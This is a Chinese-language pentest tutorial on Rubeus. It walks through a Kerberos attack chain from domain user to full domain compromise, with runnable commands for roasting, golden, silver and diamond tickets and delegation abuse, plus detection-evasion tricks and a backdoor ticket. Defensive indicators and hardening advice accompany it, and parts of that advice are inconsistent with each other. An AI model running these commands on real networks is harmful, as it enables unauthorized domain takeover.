Rubeus实战指南：Kerberos攻击链深度解析与渗透测试应用

Rubeus实战指南：Kerberos攻击链深度解析与渗透测试应用

【免费下载链接】RubeusTrying to tame the three-headed dog.项目地址: https://gitcode.com/gh_mirrors/ru/Rubeus

Rubeus是一款强大的C#工具集，专门用于Kerberos协议的原始交互和滥用。作为红队行动中的核心武器，它能够模拟真实的Active Directory攻击场景，帮助安全研究人员和渗透测试人员深入理解Kerberos协议的脆弱性。本指南将从攻击链视角出发，提供从初始访问到持久化的完整技术路线。

🔍 Kerberos攻击链全景视图

Kerberos作为Windows域环境的核心认证协议，其复杂性为攻击者提供了丰富的攻击面。Rubeus通过直接与Kerberos协议交互，绕过了传统工具的限制，实现了更精细化的攻击控制。

攻击链阶段划分

初始访问 → 凭证获取 → 权限提升 → 横向移动 → 持久化驻留

风险评级: ⭐⭐⭐⭐⭐ (极高)
检测难度: ⭐⭐⭐⭐ (中等偏高)

🎯 第一阶段：初始访问与凭证获取

1.1 AS-REP Roasting攻击

前置条件: 域内存在禁用Kerberos预认证的用户账户
实战意义: 无需任何凭证即可获取可离线破解的哈希值

# 扫描无预认证账户 Rubeus.exe asreproast /domain:corp.local /dc:DC01.corp.local # 提取哈希并保存 Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat

痕迹清理: 监控Windows安全事件ID 4768 (Kerberos身份验证服务请求)

1.2 Kerberoasting攻击

前置条件: 具有域用户权限，服务账户使用弱密码
风险评级: ⭐⭐⭐ (中等)

# 基础Kerberoasting Rubeus.exe kerberoast /outfile:service_hashes.txt # OPSEC优化模式 Rubeus.exe kerberoast /rc4opsec /nowrap # 针对性攻击特定SPN Rubeus.exe kerberoast /spn:"MSSQLSvc/dbserver.corp.local"

检测难度: ⭐⭐⭐ (中等) - 监控事件ID 4769 (Kerberos服务票据请求)

🛡️ 第二阶段：权限提升与票据伪造

2.1 黄金票据攻击 (Golden Ticket)

前置条件: 获取KRBTGT账户哈希值
风险评级: ⭐⭐⭐⭐⭐ (极高)
实战意义: 获取域管理员权限，完全控制域环境

关键洞察: 黄金票据的有效期取决于KRBTGT密码重置周期，通常为30天或更久

# 自动从LDAP获取域信息 Rubeus.exe golden /rc4:<KRBTGT_HASH> /user:administrator /ldap /ptt # 手动指定域信息 Rubeus.exe golden /rc4:<KRBTGT_HASH> /user:DA_Admin /domain:corp.local /sid:S-1-5-21-123456789-987654321-111111111

防御对抗: 定期轮换KRBTGT密码（至少每180天），监控异常TGT请求

2.2 白银票据攻击 (Silver Ticket)

前置条件: 获取服务账户哈希值
风险评级: ⭐⭐⭐⭐ (高)

# 针对文件共享服务 Rubeus.exe silver /rc4:<SERVER_HASH> /user:DA_Admin /service:cifs/fileserver.corp.local /ldap /ptt # 针对域控制器LDAP服务 Rubeus.exe silver /rc4:<DC_HASH> /user:administrator /service:ldap/DC01.corp.local /ldap /ptt

优势: 无需与域控制器交互，本地验证即可使用

🔄 第三阶段：横向移动与约束委派滥用

3.1 S4U2Self/S4U2Proxy攻击

前置条件: 配置约束委派的账户权限
攻击路径: 服务账户 → 任意用户 → 目标服务

# 基础S4U攻击 Rubeus.exe s4u /user:svc_mssql /rc4:<HASH> /impersonateuser:administrator /msdsspn:cifs/fileserver.corp.local /ptt # 跨域约束委派 Rubeus.exe s4u /user:svc_web /rc4:<HASH> /impersonateuser:DA_Admin /msdsspn:cifs/otherdomain.local /targetdomain:otherdomain.local

3.2 无约束委派利用

前置条件: 发现配置无约束委派的主机
攻击流程:

1. 诱导域管理员访问目标主机
2. 捕获TGT票据
3. 重用管理员权限

# 监控并捕获TGT Rubeus.exe monitor /interval:30 /targetuser:administrator

📊 工具对比：不同场景下的最优选择

🚨 操作安全与绕过技巧

4.1 加密降级检测规避

问题: 使用RC4_HMAC可能触发加密降级警报
解决方案:

# 使用AES加密避免检测 Rubeus.exe asktgt /user:svc_account /aes256:<AES_KEY> /domain:corp.local /ptt # OPSEC模式请求 Rubeus.exe asktgt /user:user /rc4:<HASH> /opsec /ptt

4.2 进程伪装技术

# 创建隐蔽进程并注入票据 Rubeus.exe asktgt /user:compromised /rc4:<HASH> /createnetonly:C:\Windows\System32\cmd.exe /show # 指定LUID应用票据 Rubeus.exe ptt /ticket:<BASE64> /luid:0x123456

4.3 网络流量隐蔽

技巧: 使用KDC代理绕过网络监控

Rubeus.exe asktgt /user:target /rc4:<HASH> /proxyurl:https://legit-proxy.corp.com/kdcproxy

🛡️ 防御对抗：双向视角分析

5.1 攻击检测指标

主机层面检测:

• 非lsass.exe进程发送Kerberos流量（端口88）
• 异常LSA API调用模式
• 内存中异常票据结构

网络层面检测:

• RC4_HMAC加密降级（事件ID 4768）
• 异常票据请求频率
• 跨域票据异常使用

日志分析要点:

-- 检测异常Kerberos请求 SELECT * FROM SecurityEvents WHERE EventID = 4768 AND EncryptionType = 0x17 AND ClientAddress NOT LIKE 'DC%'

5.2 防御加固措施

1. 密码策略强化

• 服务账户使用强随机密码（20+字符）
• 定期轮换KRBTGT密码（推荐每30天）
• 启用AES加密强制策略

2. 委派配置审计

# 查找配置约束委派的账户 Get-ADComputer -Filter {TrustedForDelegation -eq $true} Get-ADUser -Filter {TrustedForDelegation -eq $true}

3. 监控规则配置

• 启用Kerberos服务日志（详细级别）
• 部署SIEM规则检测加密降级
• 实施网络层Kerberos流量分析

🧪 实战演练：完整攻击链示例

场景：从普通域用户到域完全控制

步骤1 - 信息收集

# 发现无预认证账户 Rubeus.exe asreproast /stats /domain:corp.local # 枚举服务账户 Rubeus.exe kerberoast /stats /ldaps

步骤2 - 初始立足点

# 破解AS-REP哈希获取第一个账户 # 使用Hashcat破解 hashcat -m 18200 asrep_hashes.txt wordlist.txt # 使用获取的凭证请求TGT Rubeus.exe asktgt /user:compromised /password:P@ssw0rd123 /domain:corp.local /ptt

步骤3 - 权限提升

# Kerberoasting获取服务账户哈希 Rubeus.exe kerberoast /outfile:service_tickets.txt # 破解服务账户密码 # 使用服务账户权限进行横向移动

步骤4 - 域控攻陷

# DCSync获取KRBTGT哈希 # 使用Mimikatz或其他工具 # 创建黄金票据 Rubeus.exe golden /rc4:<KRBTGT_HASH> /user:DA_Backdoor /domain:corp.local /sid:<DOMAIN_SID> /ptt

步骤5 - 持久化维持

# 创建隐蔽后门账户 # 设置SID历史属性 # 配置计划任务定期更新票据

🔧 高级技巧：定制化攻击场景

6.1 钻石票据攻击 (Diamond Ticket)

适用场景: 需要绕过PAC验证的高级环境

Rubeus.exe diamond /user:svc_account /aes256:<AES_KEY> /ticketuser:administrator /groups:512,513,519 /ptt

6.2 票据续订与维护

# 自动续订票据 Rubeus.exe renew /ticket:<BASE64> /autorenew # 票据收割与维护 Rubeus.exe harvest /monitorinterval:60 /displayinterval:3600

6.3 跨域攻击技术

# 跨域S4U攻击 Rubeus.exe s4u /user:trusted_svc /rc4:<HASH> /impersonateuser:ExternalAdmin /msdsspn:cifs/external.corp.com /targetdomain:external.corp

📈 风险评估矩阵

🎓 下一步行动建议

7.1 学习路径规划

1. 基础掌握(1-2周)

   • 理解Kerberos协议基础
   • 掌握Rubeus基本命令语法
   • 在实验环境中复现基础攻击

2. 中级应用(2-4周)

   • 深入理解票据结构
   • 学习约束/无约束委派原理
   • 实践完整攻击链

3. 高级研究(1-2月)

   • 分析Rubeus源码实现
   • 开发定制化检测规则
   • 研究Kerberos协议扩展

7.2 实验环境搭建

# 使用Windows Server搭建域环境 # 配置多台客户端和服务端 # 部署监控和日志收集

7.3 持续学习资源

• 官方文档: 深入研究Kerberos RFC标准
• 源码分析: 学习Rubeus的C#实现
• 社区交流: 参与安全社区讨论和CTF比赛
• 实战演练: 定期参与红队演练和渗透测试

7.4 防御技能提升

1. 检测能力

   • 学习Windows安全事件分析
   • 掌握SIEM规则编写
   • 理解网络流量分析

2. 响应能力

   • 制定Kerberos攻击应急响应流程
   • 练习票据撤销和账户隔离
   • 掌握域环境恢复技术

💡 总结与最佳实践

Rubeus作为Kerberos攻击的瑞士军刀，其强大功能既是对攻击者的利器，也是对防御者的警钟。通过深入理解其工作原理和攻击模式，安全团队可以：

1. 建立深度防御: 从密码策略、委派配置到监控告警的多层防护
2. 实施持续检测: 基于行为而非签名的异常检测机制
3. 快速响应处置: 建立标准化的应急响应流程
4. 定期演练验证: 通过红队演练持续验证防御有效性

记住，安全是一个持续的过程而非终点。掌握攻击技术是为了更好地防御，理解Rubeus的每一个功能都意味着对Kerberos安全有了更深一层的认识。

专业提示: 在实际渗透测试中，始终确保获得合法授权，遵循道德准则，并将发现的安全问题及时报告给相关组织进行修复。

【免费下载链接】RubeusTrying to tame the three-headed dog.项目地址: https://gitcode.com/gh_mirrors/ru/Rubeus